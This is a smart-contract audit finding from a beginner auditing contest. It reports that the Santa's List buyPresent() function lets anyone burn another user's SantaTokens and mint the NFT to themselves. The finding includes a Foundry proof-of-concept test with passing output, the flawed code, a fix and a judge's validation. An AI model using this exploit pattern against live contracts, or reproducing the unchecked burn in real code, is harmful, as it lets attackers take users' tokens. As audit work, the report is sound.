First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can call `buyPresent()` function to buy `SANTA(NFT)` for `himself` in exchange of `user's SantaTokens` without user's consent.

naman1729

Summary

  • Anyone can call buyPresent() function to buy SANTA(NFT) for himself in exchange of user's SantaTokens without user's consent .

Vulnerability Details

  • Below is test which shows that hawks is able to buy SANTA(NFT) for his account inexchange of user's SantaTokens without user's consent.

address hawks = makeAddr("hawks");
​
function testBuyPresentFromUserTokenForHawks() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.startPrank(santa);
santasList.checkList(hawks, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(hawks, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// Here, user and hawks are both extra nice and can collect a present of 1 SANTA(NFT) and 1 SantaToken.
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
vm.stopPrank();
​
vm.startPrank(hawks);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
vm.stopPrank();
​
// here, hawks is trying to buy a present for user
// buyPresent() function will buy 1 SANTA(NFT) from hawks to user by taking hawks's SantaTokens .
vm.startPrank(hawks);
santasList.buyPresent(user);
​
// But, these assert are passing which shows that hawks is able to buy SANTA(NFT) for his account inexchange of user's SantaTokens without user's consent.
assertEq(santasList.balanceOf(hawks), 2);
assertEq(santaToken.balanceOf(hawks), 1e18);
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 0);
vm.stopPrank();
}

  • Below is the terminal output of above test.

Click to show terminal output
[⠢] Compiling...
No files changed, compilation skipped
​
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testBuyPresentFromUserTokenForHawks() (gas: 380771)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.28ms
​
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

  • Below is the buyPresent() function error position.

Click to show buyPresent() function
/*
* @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens.
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*/
function buyPresent(address presentReceiver) external {
@> i_santaToken.burn(presentReceiver);
@> _mintAndIncrement();
}

Impact

  • Anyone can use user's SantaTokens to buy SANTA(NFT) for himself without user's consent.

Tools Used

  • Manual Review

  • foundry

Recommendations

  • Below is the recommended code for buyPresent() function.

/*
* @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens.
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*/
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender);
+ _safeMint(presentReceiver, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.